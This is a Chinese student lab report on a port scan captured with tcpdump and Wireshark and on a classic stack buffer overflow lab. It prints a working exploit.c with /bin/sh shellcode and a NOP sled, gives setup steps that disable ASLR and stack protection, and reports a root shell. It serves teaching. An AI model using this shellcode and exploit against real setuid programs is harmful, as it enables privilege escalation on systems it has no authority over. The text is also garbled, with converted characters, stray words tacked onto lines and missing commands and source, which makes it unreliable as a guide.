本周主要完成了两个实验:NMap+Wireshark和缓冲区溢出漏洞实验linux
攻击方:192.168.1.22
防守方:192.168.1.101
采起桥接模式将两台虚拟机相连并ping通shell
1.攻击方用nmap扫描
bash
2.防守方用tcpdump抓包
网络
3.防守方用wireshark分析所抓取的数据包
app
由抓取的数据包能够看出,抓取了大量tcp包,而且是针对不一样端口,攻击方正在进行tcp端口扫描。tcp
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的状况。这一漏洞能够被恶意用户利用来改变程序的流控制,甚至执行代码的任意片断。这一漏洞的出现是因为数据缓冲器和返回地址的暂时关闭,溢出会引发返回地址被重写。学习
实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,咱们须要在32位环境下做操做,所以实验以前须要作一些准备。
一、输入命令安装一些用于编译32位C程序的东西:设计
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
二、输入命令linux32
进入32位linux环境
输入/bin/bash
使用bash:
3d
一、初始设置
关闭地址空间随机化来随机堆(heap)和栈(stack)的初始地址,猜想准确的内存地址
code
使用另外一个shell程序(zsh)代替/bin/bash
二、shellcode
通常状况下,缓冲区溢出会形成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址,那么程序就会跳转到该地址,若是该地址存放的是一段精心设计的代码用于实现其余功能,这段代码就是shellcode。
三、 漏洞程序
把如下代码保存为stack.c
文件,保存到 /tmp 目录下。代码以下:
编译该程序,并设置SET-UID。命令以下:
GCC编译器有一种栈保护机制来阻止缓冲区溢出,因此咱们在编译代码时须要用 –fno-stack-protector
关闭这种机制。
而-z execstack
用于容许执行栈。
四、攻击程序
咱们的目的是攻击刚才的漏洞程序,并经过攻击得到root权限。
把如下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码以下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
获得shellcode在内存中的地址:
shellcode地址为 0xffffd020 + 100 = 0xffffd084
编译exploit.c程序
五、攻击结果
先运行攻击程序exploit,再运行漏洞程序stack,观察结果:
经过攻击,得到了root权限
完成NMap+Wireshark实验
完成缓冲区溢出漏洞实践